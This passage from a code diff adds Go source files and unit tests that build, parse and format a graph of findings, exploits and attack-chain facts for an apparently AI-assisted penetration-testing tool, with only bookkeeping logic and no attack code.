return []database.ProjectFactEdgeFromInput{}, true, nil
}
return parsed, true, nil
}
return []database.ProjectFactEdgeFromInput{}, true, nil
}
if parsed := ParseLinksFromBody(body); len(parsed) > 0 {
return parsed, true, nil
}
return nil, false, nil
}
// MergeLinkFromInputsUnique 合并多组 from 入边输入并去重。
func MergeLinkFromInputsUnique(groups ...[]database.ProjectFactEdgeFromInput) []database.ProjectFactEdgeFromInput {
seen := map[string]struct{}{}
var out []database.ProjectFactEdgeFromInput
for _, g := range groups {
for _, in := range g {
sig := in.Type + "\x00" + in.From
if _, ok := seen[sig]; ok {
continue
}
if err := database.ValidateProjectFactEdgeType(in.Type); err != nil {
continue
}
if err := database.ValidateFactKey(in.From); err != nil {
continue
}
seen[sig] = struct{}{}
out = append(out, in)
}
}
return out
}
// MergeLinkInputsUnique 合并多组 link 输入并去重(内部出边写入用)。
func MergeLinkInputsUnique(groups ...[]database.ProjectFactEdgeInput) []database.ProjectFactEdgeInput {
seen := map[string]struct{}{}
var out []database.ProjectFactEdgeInput
for _, g := range groups {
for _, in := range g {
sig := in.Type + "\x00" + in.To
if _, ok := seen[sig]; ok {
continue
}
if err := database.ValidateProjectFactEdgeType(in.Type); err != nil {
continue
}
if err := database.ValidateFactKey(in.To); err != nil {
continue
}
seen[sig] = struct{}{}
out = append(out, in)
}
}
return out
}
+68
View File
@@ -0,0 +1,68 @@
package project
import (
"path/filepath"
"strings"
"testing"
"cyberstrike-ai/internal/database"
"go.uber.org/zap"
)
func TestParseLinksFromBodyDependsOn(t *testing.T) {
t.Parallel()
body := "## 关联\n- 依赖事实: target/api\n- 相关 fact_key: auth/session"
links := ParseLinksFromBody(body)
if len(links) != 2 {
t.Fatalf("want 2 links, got %d", len(links))
}
}
func TestSyncBodyLinksSection(t *testing.T) {
t.Parallel()
body := "## 结论\nx\n\n## 关联\n- 依赖事实: old/key"
edges := []*database.ProjectFactEdge{{EdgeType: "discovered_on", SourceFactKey: "target/a"}}
out := SyncBodyLinksSection(body, edges)
if !strings.Contains(out, "discovered_on: target/a") {
t.Fatalf("missing synced edge: %q", out)
}
}
func TestFactGraphIntegration(t *testing.T) {
dir := t.TempDir()
dbPath := filepath.Join(dir, "test.db")
db, err := database.NewDB(dbPath, zap.NewNop())
if err != nil {
t.Fatal(err)
}
defer db.Close()
p, err := db.CreateProject(&database.Project{Name: "g"})
if err != nil {
t.Fatal(err)
}
for _, spec := range []struct{ key, cat, summary string }{
{"target/root", "target", "root"},
{"finding/x", "finding", "finding x"},
} {
_, err := db.UpsertProjectFact(&database.ProjectFact{
ProjectID: p.ID, FactKey: spec.key, Category: spec.cat, Summary: spec.summary, Confidence: "confirmed",
})
if err != nil {
t.Fatal(err)
}
}
if err := db.ReplaceIncomingProjectFactEdges(p.ID, "finding/x", []database.ProjectFactEdgeFromInput{
{From: "target/root", Type: "discovered_on"},
}); err != nil {
t.Fatal(err)
}
graph, err := BuildProjectFactGraph(db, p.ID, "path", true)
if err != nil {
t.Fatal(err)
}
if len(graph.Nodes) < 2 || len(graph.Edges) < 1 {
t.Fatalf("expected graph nodes/edges, got %d/%d", len(graph.Nodes), len(graph.Edges))
}
}
+407
View File
@@ -0,0 +1,407 @@
package project
import (
"fmt"
"strings"
"cyberstrike-ai/internal/database"
"cyberstrike-ai/internal/projectprompt"
)
// PathGraphCategories 攻击路径视图包含的事实分类。
var PathGraphCategories = map[string]struct{}{
FactCategoryTarget: {},
FactCategoryFinding: {},
FactCategoryChain: {},
FactCategoryExploit: {},
FactCategoryPOC: {},
"vuln": {},
}
// GraphNodeType 将 fact category 映射为图节点类型(供前端样式与 ELK 分层)。
// 优先使用 category;仅 synthetic 节点(vuln:)或无 category 时才回退到 fact_key 前缀。
func GraphNodeType(category, factKey string) string {
key := strings.ToLower(strings.TrimSpace(factKey))
if strings.HasPrefix(key, "vuln:") {
return "vulnerability"
}
c := strings.ToLower(strings.TrimSpace(category))
if c != "" {
switch c {
case FactCategoryTarget:
return "target"
case FactCategoryExploit:
return "exploit"
case FactCategoryPOC:
return "poc"
case FactCategoryChain:
return "chain"
case FactCategoryFinding:
return "finding"
case "vuln":
return "vulnerability"
case FactCategoryAuth:
return "auth"
case FactCategoryInfra, FactCategoryBusiness:
return "infra"
case FactCategoryNote:
return "note"
case "missing":
return "missing"
default:
return c
}
}
switch {
case strings.HasPrefix(key, "target/"):
return "target"
case strings.HasPrefix(key, "exploit/"), strings.HasPrefix(key, "evidence/"):
return "exploit"
case strings.HasPrefix(key, "poc/"):
return "poc"
case strings.HasPrefix(key, "chain/"):
return "chain"
case strings.HasPrefix(key, "finding/"):
return "finding"
case strings.HasPrefix(key, "auth/"):
return "auth"
case strings.HasPrefix(key, "infra/"), strings.HasPrefix(key, "business/"):
return "infra"
default:
return "note"
}
}
func truncateGraphLabel(summary string, maxRunes int) string {
summary = strings.TrimSpace(summary)
if summary == "" {
return "—"
}
r := []rune(summary)
if len(r) <= maxRunes {
return summary
}
return string(r[:maxRunes]) + "…"
}
// BuildProjectFactGraph 构建项目事实图(nodes + edges)。
func BuildProjectFactGraph(db *database.DB, projectID string, view string, excludeDeprecated bool) (*database.ProjectFactGraph, error) {
if db == nil {
return nil, fmt.Errorf("database 未初始化")
}
projectID = strings.TrimSpace(projectID)
if projectID == "" {
return nil, fmt.Errorf("project_id 不能为空")
}
view = strings.TrimSpace(strings.ToLower(view))
if view == "" {
view = "path"
}
filter := database.ProjectFactListFilter{}
if excludeDeprecated {
filter.ExcludeDeprecated = true
}
facts, err := db.ListProjectFacts(projectID, filter, 1000, 0)
if err != nil {
return nil, err
}
edges, err := db.ListProjectFactEdgesByProject(projectID)
if err != nil {
return nil, err
}
if excludeDeprecated {
edges = filterDeprecatedEdges(edges)
}
factByKey := make(map[string]*database.ProjectFact, len(facts))
for _, f := range facts {
factByKey[f.FactKey] = f
}
pathMode := view == "path"
nodeKeys := make(map[string]struct{})
if pathMode {
for _, f := range facts {
if isPathGraphFact(f.Category, f.FactKey) {
nodeKeys[f.FactKey] = struct{}{}
}
}
// 路径视图中保留作为依赖目标的 auth/infra 节点
for _, e := range edges {
if _, ok := nodeKeys[e.SourceFactKey]; !ok {
continue
}
if f, ok := factByKey[e.TargetFactKey]; ok && isDependencyGraphFact(f.Category, f.FactKey) {
nodeKeys[e.TargetFactKey] = struct{}{}
}
}
} else {
for _, f := range facts {
nodeKeys[f.FactKey] = struct{}{}
}
}
// 边上引用的 endpoint 纳入节点集
for _, e := range edges {
if pathMode {
if _, ok := nodeKeys[e.SourceFactKey]; !ok {
continue
}
if _, ok := nodeKeys[e.TargetFactKey]; ok {
// already included
} else if f, ok := factByKey[e.TargetFactKey]; !ok {
nodeKeys[e.TargetFactKey] = struct{}{} // 占位节点
} else if isPathGraphFact(f.Category, f.FactKey) || isDependencyGraphFact(f.Category, f.FactKey) {
nodeKeys[e.TargetFactKey] = struct{}{}
} else {
continue
}
} else {
nodeKeys[e.SourceFactKey] = struct{}{}
nodeKeys[e.TargetFactKey] = struct{}{}
}
}
nodes := make([]database.ProjectFactGraphNode, 0, len(nodeKeys))
for key := range nodeKeys {
if f, ok := factByKey[key]; ok {
nodes = append(nodes, database.ProjectFactGraphNode{
ID: f.FactKey,
FactKey: f.FactKey,
Category: f.Category,
Label: truncateGraphLabel(f.Summary, 48),
Summary: strings.TrimSpace(f.Summary),
Confidence: f.Confidence,
Type: GraphNodeType(f.Category, f.FactKey),
Pinned: f.Pinned,
})
continue
}
nodes = append(nodes, database.ProjectFactGraphNode{
ID: key,
FactKey: key,
Category: "missing",
Label: key,
Confidence: "tentative",
Type: "missing",
Pinned: false,
})
}
graphEdges := make([]database.ProjectFactGraphEdge, 0, len(edges))
for _, e := range edges {
if pathMode {
if _, ok := nodeKeys[e.SourceFactKey]; !ok {
continue
}
if _, ok := nodeKeys[e.TargetFactKey]; !ok {
continue
}
} else {
if _, ok := nodeKeys[e.SourceFactKey]; !ok {
continue
}
if _, ok := nodeKeys[e.TargetFactKey]; !ok {
continue
}
}
graphEdges = append(graphEdges, database.ProjectFactGraphEdge{
ID: e.ID,
Source: e.SourceFactKey,
Target: e.TargetFactKey,
Type: e.EdgeType,
Confidence: e.Confidence,
})
}
// related_vulnerability_id 合成边(source=fact → target=vuln:<id>
for _, f := range facts {
if _, ok := nodeKeys[f.FactKey]; !ok {
continue
}
vid := strings.TrimSpace(f.RelatedVulnerabilityID)
if vid == "" {
continue
}
vulnNodeID := "vuln:" + vid
if _, exists := nodeKeys[vulnNodeID]; !exists {
nodeKeys[vulnNodeID] = struct{}{}
label := "漏洞"
if len(vid) >= 8 {
label += " " + vid[:8] + "…"
} else {
label += " " + vid
}
nodes = append(nodes, database.ProjectFactGraphNode{
ID: vulnNodeID,
FactKey: vulnNodeID,
Category: "vuln",
Label: label,
Confidence: f.Confidence,
Type: "vulnerability",
Pinned: false,
})
}
graphEdges = append(graphEdges, database.ProjectFactGraphEdge{
ID: "vuln-link:" + f.FactKey + ":" + vid,
Source: f.FactKey,
Target: vulnNodeID,
Type: "links_vuln",
Confidence: f.Confidence,
})
}
return &database.ProjectFactGraph{Nodes: nodes, Edges: graphEdges}, nil
}
func min(a, b int) int {
if a < b {
return a
}
return b
}
func isPathGraphFact(category, factKey string) bool {
c := strings.ToLower(strings.TrimSpace(category))
if _, ok := PathGraphCategories[c]; ok {
return true
}
if c != "" {
return false
}
key := strings.ToLower(strings.TrimSpace(factKey))
for _, p := range []string{"target/", "finding/", "chain/", "exploit/", "poc/", "evidence/"} {
if strings.HasPrefix(key, p) {
return true
}
}
return false
}
func isDependencyGraphFact(category, factKey string) bool {
c := strings.ToLower(strings.TrimSpace(category))
if c == FactCategoryAuth || c == FactCategoryInfra || c == FactCategoryBusiness {
return true
}
if c != "" {
return false
}
key := strings.ToLower(strings.TrimSpace(factKey))
return strings.HasPrefix(key, "auth/") || strings.HasPrefix(key, "infra/") || strings.HasPrefix(key, "business/")
}
func filterDeprecatedEdges(edges []*database.ProjectFactEdge) []*database.ProjectFactEdge {
out := make([]*database.ProjectFactEdge, 0, len(edges))
for _, e := range edges {
if strings.EqualFold(strings.TrimSpace(e.Confidence), "deprecated") {
continue
}
out = append(out, e)
}
return out
}
// ParsedFactLinks 解析 links 参数(from → 当前 fact)。
type ParsedFactLinks struct {
Incoming []database.ProjectFactEdgeFromInput
}
// ParseFactLinkInputs 从 MCP links 参数解析;空数组表示清空全部入边。
func ParseFactLinkInputs(raw interface{}) (*ParsedFactLinks, error) {
if raw == nil {
return nil, nil
}
items, ok := raw.([]interface{})
if !ok {
return nil, fmt.Errorf("links 须为数组")
}
if len(items) == 0 {
return &ParsedFactLinks{
Incoming: []database.ProjectFactEdgeFromInput{},
}, nil
}
parsed := &ParsedFactLinks{}
for i, item := range items {
m, ok := item.(map[string]interface{})
if !ok {
return nil, fmt.Errorf("links[%d] 格式无效", i)
}
from, _ := m["from"].(string)
edgeType, _ := m["type"].(string)
from = strings.TrimSpace(from)
edgeType = strings.TrimSpace(edgeType)
if from == "" {
return nil, fmt.Errorf("links[%d] 须含 from", i)
}
if edgeType == "" {
return nil, fmt.Errorf("links[%d] 须含 type", i)
}
conf, _ := m["confidence"].(string)
parsed.Incoming = append(parsed.Incoming, database.ProjectFactEdgeFromInput{
From: from, Type: edgeType, Confidence: strings.TrimSpace(conf),
})
}
return parsed, nil
}
// ParseFactLinksText 解析 UI 文本:`type: source_fact_key` 每行一条(from 语义)。
func ParseFactLinksText(text string) ([]database.ProjectFactEdgeFromInput, error) {
return ParseFactIncomingLinksText(text)
}
// FormatFactLinksText 将入边格式化为 UI 文本。
func FormatFactLinksText(edges []*database.ProjectFactEdge) string {
return FormatFactIncomingLinksText(edges)
}
// ParseFactIncomingLinksText 解析 UI 入边文本:`type: source_fact_key` 每行一条。
func ParseFactIncomingLinksText(text string) ([]database.ProjectFactEdgeFromInput, error) {
text = strings.TrimSpace(text)
if text == "" {
return nil, nil
}
var out []database.ProjectFactEdgeFromInput
for i, line := range strings.Split(text, "\n") {
line = strings.TrimSpace(line)
if line == "" || strings.HasPrefix(line, "#") {
continue
}
edgeType, source, ok := strings.Cut(line, ":")
if !ok {
return nil, fmt.Errorf("第 %d 行格式无效,应为 type: fact_key", i+1)
}
edgeType = strings.TrimSpace(edgeType)
source = strings.TrimSpace(source)
if edgeType == "" || source == "" {
return nil, fmt.Errorf("第 %d 行 type 或 fact_key 为空", i+1)
}
out = append(out, database.ProjectFactEdgeFromInput{From: source, Type: edgeType})
}
return out, nil
}
// FormatFactIncomingLinksText 将入边格式化为 UI 文本。
func FormatFactIncomingLinksText(edges []*database.ProjectFactEdge) string {
if len(edges) == 0 {
return ""
}
var b strings.Builder
for i, e := range edges {
if i > 0 {
b.WriteByte('\n')
}
b.WriteString(e.EdgeType)
b.WriteString(": ")
b.WriteString(e.SourceFactKey)
}
return b.String()
}
// FactEdgeRecordingGuidance 写入边时的 Agent 规范。
func FactEdgeRecordingGuidance() string {
return projectprompt.FactEdgeRecordingGuidance()
}
+96
View File
@@ -0,0 +1,96 @@
package project
import (
"cyberstrike-ai/internal/database"
)
// ApplyFactOutgoingLinks 替换某事实的出边(links 为 nil 时不修改)。
func ApplyFactOutgoingLinks(db *database.DB, projectID, sourceFactKey, sourceConversationID string, links []database.ProjectFactEdgeInput) error {
if links == nil {
return nil
}
return db.ReplaceOutgoingProjectFactEdges(projectID, sourceFactKey, sourceConversationID, links)
}
// ResolveFactLinkInputs 合并 links 数组与 links_text 文本(数组优先)。
func ResolveFactLinkInputs(links []database.ProjectFactEdgeFromInput, linksText string) ([]database.ProjectFactEdgeFromInput, error) {
if len(links) > 0 {
return links, nil
}
return ParseFactLinksText(linksText)
}
// ApplyFactIncomingLinks 替换某事实的入边(links 为 nil 时不修改)。
func ApplyFactIncomingLinks(db *database.DB, projectID, targetFactKey string, links []database.ProjectFactEdgeFromInput) error {
if links == nil {
return nil
}
return db.ReplaceIncomingProjectFactEdges(projectID, targetFactKey, links)
}
// PersistFactIncomingLinks 写入入边并可选同步当前事实 body「关联」段。
func PersistFactIncomingLinks(db *database.DB, projectID, targetFactKey string, links []database.ProjectFactEdgeFromInput, syncBody bool) error {
if links == nil {
return nil
}
if err := ApplyFactIncomingLinks(db, projectID, targetFactKey, links); err != nil {
return err
}
if !syncBody {
return nil
}
f, err := db.GetProjectFactByKey(projectID, targetFactKey)
if err != nil {
return nil
}
in, err := db.ListIncomingProjectFactEdges(projectID, targetFactKey)
if err != nil {
return err
}
f.Body = SyncBodyLinksSection(f.Body, in)
_, err = db.UpsertProjectFact(f)
return err
}
// PersistFactLinksFromParsed 写入解析后的 linksparsed 为 nil 表示不修改)。
func PersistFactLinksFromParsed(db *database.DB, projectID, factKey, sourceConversationID string, parsed *ParsedFactLinks, syncBody bool) error {
if parsed == nil || parsed.Incoming == nil {
return nil
}
return PersistFactIncomingLinks(db, projectID, factKey, parsed.Incoming, syncBody)
}
// PersistFactOutgoingLinks 写入出边(图连线等低层 APIbody 同步请用 PersistFactIncomingLinks)。
func PersistFactOutgoingLinks(db *database.DB, projectID, sourceFactKey, sourceConversationID string, links []database.ProjectFactEdgeInput, syncBody bool) error {
if links == nil {
return nil
}
return ApplyFactOutgoingLinks(db, projectID, sourceFactKey, sourceConversationID, links)
}
// LinkCountMap 项目内各 fact 的入/出边计数。
type LinkCountMap map[string]LinkCounts
// LinkCounts 单 fact 的入/出边数。
type LinkCounts struct {
Outgoing int `json:"outgoing"`
Incoming int `json:"incoming"`
}
// LoadProjectFactLinkCounts 批量加载边计数。
func LoadProjectFactLinkCounts(db *database.DB, projectID string) (LinkCountMap, error) {
edges, err := db.ListProjectFactEdgesByProject(projectID)
if err != nil {
return nil, err
}
m := LinkCountMap{}
for _, e := range edges {
c := m[e.SourceFactKey]
c.Outgoing++
m[e.SourceFactKey] = c
c = m[e.TargetFactKey]
c.Incoming++
m[e.TargetFactKey] = c
}
return m, nil
}
+296
View File
@@ -0,0 +1,296 @@
package project
import (
"path/filepath"
"testing"
"cyberstrike-ai/internal/database"
"go.uber.org/zap"
)
func TestParseFactLinksText(t *testing.T) {
t.Parallel()
inputs, err := ParseFactLinksText("discovered_on: target/api\nleads_to: finding/swagger")
if err != nil {
t.Fatal(err)
}
if len(inputs) != 2 {
t.Fatalf("want 2 links, got %d", len(inputs))
}
if inputs[0].Type != "discovered_on" || inputs[0].From != "target/api" {
t.Fatalf("unexpected first link: %+v", inputs[0])
}
}
func TestParseFactIncomingLinksText(t *testing.T) {
t.Parallel()
inputs, err := ParseFactIncomingLinksText("leads_to: finding/swagger\ndepends_on: target/api")
if err != nil {
t.Fatal(err)
}
if len(inputs) != 2 {
t.Fatalf("want 2 links, got %d", len(inputs))
}
if inputs[0].Type != "leads_to" || inputs[0].From != "finding/swagger" {
t.Fatalf("unexpected first link: %+v", inputs[0])
}
}
func TestFormatFactIncomingLinksText(t *testing.T) {
t.Parallel()
text := FormatFactIncomingLinksText([]*database.ProjectFactEdge{
{EdgeType: "leads_to", SourceFactKey: "finding/a"},
{EdgeType: "depends_on", SourceFactKey: "target/b"},
})
want := "leads_to: finding/a\ndepends_on: target/b"
if text != want {
t.Fatalf("got %q want %q", text, want)
}
}
func TestParseFactLinkInputsEmptyClears(t *testing.T) {
t.Parallel()
parsed, err := ParseFactLinkInputs([]interface{}{})
if err != nil {
t.Fatal(err)
}
if parsed == nil || parsed.Incoming == nil || len(parsed.Incoming) != 0 {
t.Fatalf("empty array should clear incoming links, got %v", parsed)
}
}
func TestParseFactLinkInputsFrom(t *testing.T) {
t.Parallel()
raw := []interface{}{
map[string]interface{}{
"from": "target/primary_domain",
"type": "discovered_on",
},
}
parsed, err := ParseFactLinkInputs(raw)
if err != nil {
t.Fatal(err)
}
if len(parsed.Incoming) != 1 || parsed.Incoming[0].From != "target/primary_domain" {
t.Fatalf("unexpected incoming: %+v", parsed.Incoming)
}
}
func TestParseFactLinkInputsRequiresFrom(t *testing.T) {
t.Parallel()
raw := []interface{}{
map[string]interface{}{
"to": "target/primary_domain",
"type": "discovered_on",
},
}
_, err := ParseFactLinkInputs(raw)
if err == nil {
t.Fatal("expected error when from is missing")
}
}
func TestGraphNodeType(t *testing.T) {
t.Parallel()
if GraphNodeType("chain", "chain/x") != "chain" {
t.Fatal("chain category")
}
if GraphNodeType("finding", "finding/x") != "finding" {
t.Fatal("finding category")
}
if GraphNodeType("exploit", "exploit/x") != "exploit" {
t.Fatal("exploit category")
}
if GraphNodeType("finding", "evidence/x") != "finding" {
t.Fatal("category should override evidence key prefix")
}
if GraphNodeType("note", "target/x") != "note" {
t.Fatal("category should override target key prefix")
}
if GraphNodeType("vuln", "finding/x") != "vulnerability" {
t.Fatal("vuln category maps to vulnerability node type")
}
if GraphNodeType("", "target/x") != "target" {
t.Fatal("empty category falls back to target key prefix")
}
}
func TestBuildProjectFactGraphPreservesStoredEdgeDirection(t *testing.T) {
dir := t.TempDir()
db, err := database.NewDB(filepath.Join(dir, "test.db"), zap.NewNop())
if err != nil {
t.Fatal(err)
}
defer db.Close()
p, err := db.CreateProject(&database.Project{Name: "path-edges"})
if err != nil {
t.Fatal(err)
}
for _, spec := range []struct{ key, cat string }{
{"target/primary_domain", "target"},
{"chain/full_attack_path", "chain"},
{"finding/mysql_public", "finding"},
{"exploit/mysql_creds_extract", "exploit"},
} {
if _, err := db.UpsertProjectFact(&database.ProjectFact{
ProjectID: p.ID, FactKey: spec.key, Category: spec.cat, Summary: spec.key, Confidence: "confirmed",
}); err != nil {
t.Fatal(err)
}
}
if err := db.ReplaceIncomingProjectFactEdges(p.ID, "finding/mysql_public", []database.ProjectFactEdgeFromInput{
{From: "target/primary_domain", Type: "discovered_on"},
}); err != nil {
t.Fatal(err)
}
if err := db.ReplaceIncomingProjectFactEdges(p.ID, "finding/mysql_public", []database.ProjectFactEdgeFromInput{
{From: "target/primary_domain", Type: "discovered_on"},
{From: "exploit/mysql_creds_extract", Type: "exploits"},
}); err != nil {
t.Fatal(err)
}
if err := db.ReplaceIncomingProjectFactEdges(p.ID, "chain/full_attack_path", []database.ProjectFactEdgeFromInput{
{From: "target/primary_domain", Type: "discovered_on"},
}); err != nil {
t.Fatal(err)
}
if err := db.ReplaceIncomingProjectFactEdges(p.ID, "exploit/mysql_creds_extract", []database.ProjectFactEdgeFromInput{
{From: "chain/full_attack_path", Type: "leads_to"},
}); err != nil {
t.Fatal(err)
}
graph, err := BuildProjectFactGraph(db, p.ID, "path", true)
if err != nil {
t.Fatal(err)
}
want := map[string]struct{}{
"target/primary_domain|discovered_on|finding/mysql_public": {},
"exploit/mysql_creds_extract|exploits|finding/mysql_public": {},
"target/primary_domain|discovered_on|chain/full_attack_path": {},
"chain/full_attack_path|leads_to|exploit/mysql_creds_extract": {},
}
for _, e := range graph.Edges {
key := e.Source + "|" + e.Type + "|" + e.Target
delete(want, key)
}
if len(want) > 0 {
t.Fatalf("missing expected stored-direction edges: %v", want)
}
countInOut := func(factKey string) (out, in int) {
for _, e := range graph.Edges {
if e.Source == factKey {
out++
}
if e.Target == factKey {
in++
}
}
return out, in
}
if out, in := countInOut("chain/full_attack_path"); out != 1 || in != 1 {
t.Fatalf("chain/full_attack_path want out=1 in=1 got out=%d in=%d", out, in)
}
if out, in := countInOut("exploit/mysql_creds_extract"); out != 1 || in != 1 {
t.Fatalf("exploit/mysql_creds_extract want out=1 in=1 got out=%d in=%d", out, in)
}
}
func TestPersistFactLinksFromUsesFromAsIncoming(t *testing.T) {
dir := t.TempDir()
db, err := database.NewDB(filepath.Join(dir, "test.db"), zap.NewNop())
if err != nil {
t.Fatal(err)
}
defer db.Close()
p, err := db.CreateProject(&database.Project{Name: "from-links"})
if err != nil {
t.Fatal(err)
}
for _, spec := range []struct{ key, cat string }{
{"target/primary_domain", "target"},
{"finding/sqli", "finding"},
} {
if _, err := db.UpsertProjectFact(&database.ProjectFact{
ProjectID: p.ID, FactKey: spec.key, Category: spec.cat, Summary: spec.key, Confidence: "confirmed",
}); err != nil {
t.Fatal(err)
}
}
parsed := &ParsedFactLinks{
Incoming: []database.ProjectFactEdgeFromInput{
{From: "target/primary_domain", Type: "discovered_on"},
},
}
if err := PersistFactLinksFromParsed(db, p.ID, "finding/sqli", "", parsed, false); err != nil {
t.Fatal(err)
}
graph, err := BuildProjectFactGraph(db, p.ID, "path", true)
if err != nil {
t.Fatal(err)
}
want := "target/primary_domain|discovered_on|finding/sqli"
for _, e := range graph.Edges {
key := e.Source + "|" + e.Type + "|" + e.Target
if key == want {
return
}
}
t.Fatalf("expected edge %s, got %+v", want, graph.Edges)
}
func TestFormatOutgoingLinksHint(t *testing.T) {
t.Parallel()
hint := FormatOutgoingLinksHint([]*database.ProjectFactEdge{
{EdgeType: "discovered_on", TargetFactKey: "target/a"},
})
if hint == "" || hint[0] != ' ' {
t.Fatalf("unexpected hint: %q", hint)
}
}
func TestReplaceIncomingAllowsNotYetCreatedSource(t *testing.T) {
dir := t.TempDir()
db, err := database.NewDB(filepath.Join(dir, "test.db"), zap.NewNop())
if err != nil {
t.Fatal(err)
}
defer db.Close()
p, err := db.CreateProject(&database.Project{Name: "parallel-links"})
if err != nil {
t.Fatal(err)
}
if _, err := db.UpsertProjectFact(&database.ProjectFact{
ProjectID: p.ID, FactKey: "exploit/sqli", Category: "exploit", Summary: "exploit", Confidence: "confirmed",
}); err != nil {
t.Fatal(err)
}
if err := db.ReplaceIncomingProjectFactEdges(p.ID, "exploit/sqli", []database.ProjectFactEdgeFromInput{
{From: "finding/sqli_endpoint", Type: "exploits"},
}); err != nil {
t.Fatalf("incoming edge should not require source fact to exist yet: %v", err)
}
if _, err := db.UpsertProjectFact(&database.ProjectFact{
ProjectID: p.ID, FactKey: "finding/sqli_endpoint", Category: "finding", Summary: "finding", Confidence: "confirmed",
}); err != nil {
t.Fatal(err)
}
in, err := db.ListIncomingProjectFactEdges(p.ID, "exploit/sqli")
if err != nil || len(in) != 1 || in[0].SourceFactKey != "finding/sqli_endpoint" {
t.Fatalf("expected persisted edge from finding, got %+v err=%v", in, err)
}
}
func TestValidateProjectFactEdgeType(t *testing.T) {
t.Parallel()
if err := database.ValidateProjectFactEdgeType("leads_to"); err != nil {
t.Fatal(err)
}
if err := database.ValidateProjectFactEdgeType("invalid"); err == nil {
t.Fatal("expected error")
}
}
+231
View File
@@ -0,0 +1,231 @@
package project
import (
"fmt"
"sort"
"strings"
"cyberstrike-ai/internal/database"
)
var factIndexEdgeTypeOrder = []string{
"discovered_on", "leads_to", "enables", "depends_on", "exploits", "contains", "part_of", "supports",
}
func filterIndexEdges(edges []*database.ProjectFactEdge) []*database.ProjectFactEdge {
if len(edges) == 0 {
return nil
}
out := make([]*database.ProjectFactEdge, 0, len(edges))
for _, e := range edges {
if e == nil {
continue
}
if strings.EqualFold(strings.TrimSpace(e.Confidence), "deprecated") {
continue
}
edgeType := strings.ToLower(strings.TrimSpace(e.EdgeType))
if _, ok := database.ValidProjectFactEdgeTypes[edgeType]; !ok {
continue
}
out = append(out, e)
}
return out
}
func edgeConfidenceSuffix(confidence string) string {
c := strings.ToLower(strings.TrimSpace(confidence))
if c == "" || c == "confirmed" {
return ""
}
return " (" + c + ")"
}
func formatRelationHintPart(e *database.ProjectFactEdge) string {
return fmt.Sprintf("%s←%s%s", e.EdgeType, e.SourceFactKey, edgeConfidenceSuffix(e.Confidence))
}
func formatOutgoingHintPart(e *database.ProjectFactEdge) string {
return fmt.Sprintf("%s→%s%s", e.EdgeType, e.TargetFactKey, edgeConfidenceSuffix(e.Confidence))
}
func formatIncomingHintPart(e *database.ProjectFactEdge) string {
return formatRelationHintPart(e)
}
func joinEdgeHintParts(edges []*database.ProjectFactEdge, formatter func(*database.ProjectFactEdge) string) string {
parts := make([]string, 0, len(edges))
for _, e := range edges {
parts = append(parts, formatter(e))
}
return strings.Join(parts, ", ")
}
// FormatOutgoingLinksHint 黑板索引用出边摘要(全部有效边类型,不截断)。
func FormatOutgoingLinksHint(edges []*database.ProjectFactEdge) string {
edges = filterIndexEdges(edges)
if len(edges) == 0 {
return ""
}
return " {出边: " + joinEdgeHintParts(edges, formatOutgoingHintPart) + "}"
}
// FormatIncomingLinksHint 黑板索引用入边摘要(全部有效边类型,不截断)。
func FormatIncomingLinksHint(edges []*database.ProjectFactEdge) string {
edges = filterIndexEdges(edges)
if len(edges) == 0 {
return ""
}
return " {入边: " + joinEdgeHintParts(edges, formatIncomingHintPart) + "}"
}
// FormatFactIndexLinksHint 黑板索引行内关系边(from → 当前 fact,与 upsert links 一致)。
func FormatFactIndexLinksHint(_ string, incoming []*database.ProjectFactEdge) string {
in := filterIndexEdges(incoming)
if len(in) == 0 {
return ""
}
return " {关系边: " + joinEdgeHintParts(in, formatRelationHintPart) + "}"
}
func indexEdgeGroupMaps(edges []*database.ProjectFactEdge) (outgoing, incoming map[string][]*database.ProjectFactEdge) {
outgoing = map[string][]*database.ProjectFactEdge{}
incoming = map[string][]*database.ProjectFactEdge{}
for _, e := range filterIndexEdges(edges) {
outgoing[e.SourceFactKey] = append(outgoing[e.SourceFactKey], e)
incoming[e.TargetFactKey] = append(incoming[e.TargetFactKey], e)
}
return outgoing, incoming
}
func relationOverviewLine(e *database.ProjectFactEdge) string {
return fmt.Sprintf("- %s → %s%s · %s", e.SourceFactKey, e.TargetFactKey, edgeConfidenceSuffix(e.Confidence), e.EdgeType)
}
func indexEdgeSortKey(e *database.ProjectFactEdge) (int, int, string) {
confRank := 0
if strings.EqualFold(strings.TrimSpace(e.Confidence), "tentative") {
confRank = 1
}
typeRank := len(factIndexEdgeTypeOrder) + 1
for i, t := range factIndexEdgeTypeOrder {
if strings.EqualFold(e.EdgeType, t) {
typeRank = i
break
}
}
return confRank, typeRank, e.SourceFactKey + ">" + e.TargetFactKey + ">" + e.EdgeType
}
func sortIndexOverviewEdges(edges []*database.ProjectFactEdge) {
sort.SliceStable(edges, func(i, j int) bool {
ci, ti, ki := indexEdgeSortKey(edges[i])
cj, tj, kj := indexEdgeSortKey(edges[j])
if ci != cj {
return ci < cj
}
if ti != tj {
return ti < tj
}
return ki < kj
})
}
// BuildFactPathOverviewSection 生成事实关系速览(全部有效边类型,不含 body)。
func BuildFactPathOverviewSection(edges []*database.ProjectFactEdge, indexedKeys map[string]struct{}, maxRunes int) string {
if maxRunes <= 0 {
return ""
}
candidates := filterIndexEdges(edges)
if len(candidates) == 0 {
return ""
}
filtered := make([]*database.ProjectFactEdge, 0, len(candidates))
for _, e := range candidates {
if len(indexedKeys) > 0 {
if _, ok := indexedKeys[e.SourceFactKey]; !ok {
continue
}
if _, ok := indexedKeys[e.TargetFactKey]; !ok {
continue
}
}
filtered = append(filtered, e)
}
if len(filtered) == 0 {
return ""
}
sortIndexOverviewEdges(filtered)
header := "### 攻击路径(事实关系)\n"
header += "source → target · type(与攻击路径图/库中方向一致;写入时在目标 fact 的 links 用 from 声明来源)\n"
var b strings.Builder
b.WriteString(header)
used := len([]rune(header))
omitted := 0
for _, e := range filtered {
line := relationOverviewLine(e) + "\n"
lineRunes := len([]rune(line))
if used+lineRunes > maxRunes {
omitted++
continue
}
b.WriteString(line)
used += lineRunes
}
if omitted > 0 {
extra := fmt.Sprintf("(另有 %d 条关系边未列入,请 get_project_fact 查看完整关系。)\n", omitted)
if used+len([]rune(extra)) <= maxRunes {
b.WriteString(extra)
}
}
if used <= len([]rune(header)) {
return ""
}
return b.String()
}
func factIndexSortPriority(f *database.ProjectFact) int {
if f == nil {
return 0
}
score := 0
if f.Pinned {
score += 1000
}
c := strings.ToLower(strings.TrimSpace(f.Category))
switch c {
case FactCategoryTarget:
score += 400
case FactCategoryFinding, FactCategoryChain:
score += 300
case FactCategoryExploit, FactCategoryPOC:
score += 250
